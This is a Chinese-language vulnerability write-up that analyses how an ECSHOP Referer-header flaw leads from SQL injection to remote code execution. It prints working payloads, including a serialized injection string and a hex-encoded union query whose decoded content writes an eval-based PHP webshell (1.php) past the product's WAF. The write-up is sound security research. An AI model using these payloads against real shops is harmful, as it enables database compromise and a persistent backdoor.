ECSHOP 漏洞分析
ECSHOP 漏洞分析
全局过滤和防御
ecshop的防御非常。。。。暴力,ecshop的结构并不是现在流行的MVC框架,它不是单入口模式的,所以有很多文件来表示对应的模块
全局过滤文件safe.php
1 |
|
可以看到,ecshop把不符合安全规则的参数全部都进行了waf,直接不允许请求,而且对$_GET,$_POST,$_COOKIE,$_SERVER
全部对进行了过滤,在这种暴力的防御下,我们的思路就应该从GET,POST这些变量中稍微变动一下,基本这种全局waf是很难饶过的,那么我们可以去找一些url二次编码,或者base64解码的地方,这样才可以绕过这种全局waf
漏洞复现
1 | GET /user.php?act=login HTTP/1.1 |
可以直接将poc提交,看一下结果
这里因为是mysql是5.7版本,而limit后procedure analyse的使用范围是:mysql5.x~5.6.6,所以procedure不能用,就不配了,但是漏洞已经可以显现了
SQL注入漏洞跟踪分析
第一步,程序获取了referer的值
而我们的构造不会被safe.php所拦截,所以这一步获取的就是我们完全可控的referer
第二步,程序将referer传递给了注册模版变量的assgin函数
我们跟入assign函数:
因为我们传入的参数是字符串,进入else分支,因为这里没有任何的过滤,我们成功将我们可控的referer的值注册成为了cls_template类的变量
之后程序调用了display,我们跟入display函数
现在的filename为:
user_passport.dwt
获取到了
user_passport.dwt
的内容存入$out
变量中referer的值被插入到了
$out
中之后比较
$out
和$this->_echash
如果相等的话就进入if的条件中,而$this->_echash
的值在最前面就已经定义了将获取到的
$out
根据_echash
进行分割,我们可以看到被分割为了这样的数组因为是根据
_echash
进行分割的,所以我们需要referer的值中也有_echash
的值,可以看到我们的payload现在变成了ads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
接下来将数组中奇数的部分作为参数调用
insert_mod
函数,跟入insert_mod
函数之后,将
$name
参数根据|进行分割,之后得到了$fun
和$para
现在我们可以控制执行的函数和参数,但是这个函数必须是
insert_xxx
这种类型的参数,而作者成功找到了insert_ads
这个函数来作为漏洞的利用函数,跟入insert_ads
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38function insert_ads($arr)
{
static $static_res = NULL;
// $arr['num'] = intval($arr['num']);
// $arr['id'] = intval($arr['id']);
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
else
{
if ($static_res[$arr['id']] === NULL)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, '.
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND a.position_id = '" . $arr['id'] .
"' AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " .
'ORDER BY rnd LIMIT 1';
$static_res[$arr['id']] = $GLOBALS['db']->GetAll($sql);
}
$res = $static_res[$arr['id']];
}
$ads = array();
$position_style = '';
...
}传入的参数
$arr
为:在SQL语句中:
1
2
3
4
5
6
7$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];我们可以看到将
$arr['num']
的值直接拼接到了limit之后,在mysql允许procedure的时候就可以造成SQL注入
GETSHELL漏洞分析
很多人认为到这里,SQL注入就是这个漏洞所能做到的一切了,但是,根据POC,这个漏洞从一个XSS到SQL注入,最终GETSHELL,我们现在分析GETSHELL的payload
1 | GET /user.php?act=login HTTP/1.1 |
其中十六进制转为字符串之后的结果为:
'/*
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx
因为mysql对十六进制进行转为字符处理,所以我们的payload用十六进制转换后即可成功绕过ecshop的全局waf
在执行到insert_ads
方法之后,查看SQL语句:
1 | SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop`.`ecs_ad` AS a LEFT JOIN `ecshop`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1552473239' AND end_time >= '1552473239' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- - |
可以看到,我们成功进行了union查询,最终,我们查询的$res['position_style']
结果为:
当满足$row['position_id'] != $arr['id']
的时候,$position_style = $row['position_style'];
被赋值为我们的payload,之后$position_style
在拼接str:之后直接被带入fetch函数
跟入fetch函数
可以看到,我们的payload被未经处理的带入了fetch_str
,看一下fetch_str
进行了什么处理:
将
$source
里面包含的copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo
替换为空,但是很显然忘记了assert(注意:在php7以上,assert不再能执行函数))之后包含了
includes_cls_template_fetch_str.php
文件,代码很短,但是是我们执行命令的重要的一步1
2
3
$template = $this;
return preg_replace_callback("/{([^\}\{\n]*)}/", function($r) use(&$template){return $template->select($r[1]);}, $source);preg_replace_callback
函数将{}
之间的内容作为参数传给了select函数,进入select函数在第三个条件分支满足条件,值的第一个字符为:\$,将
$tag
的值拼接在<?php xxxx ?>
之间,返回结果,返回的字符串为:之后进入到
_eval
函数可以看到我们的代码进入了eval执行,最后成功getshell,可以在根目录下发现1.php
总结
原本一个简单的XSS点,之后到有mysql版本限制的SQL注入,再到无任何限制的getshell,简直不要太强。。。。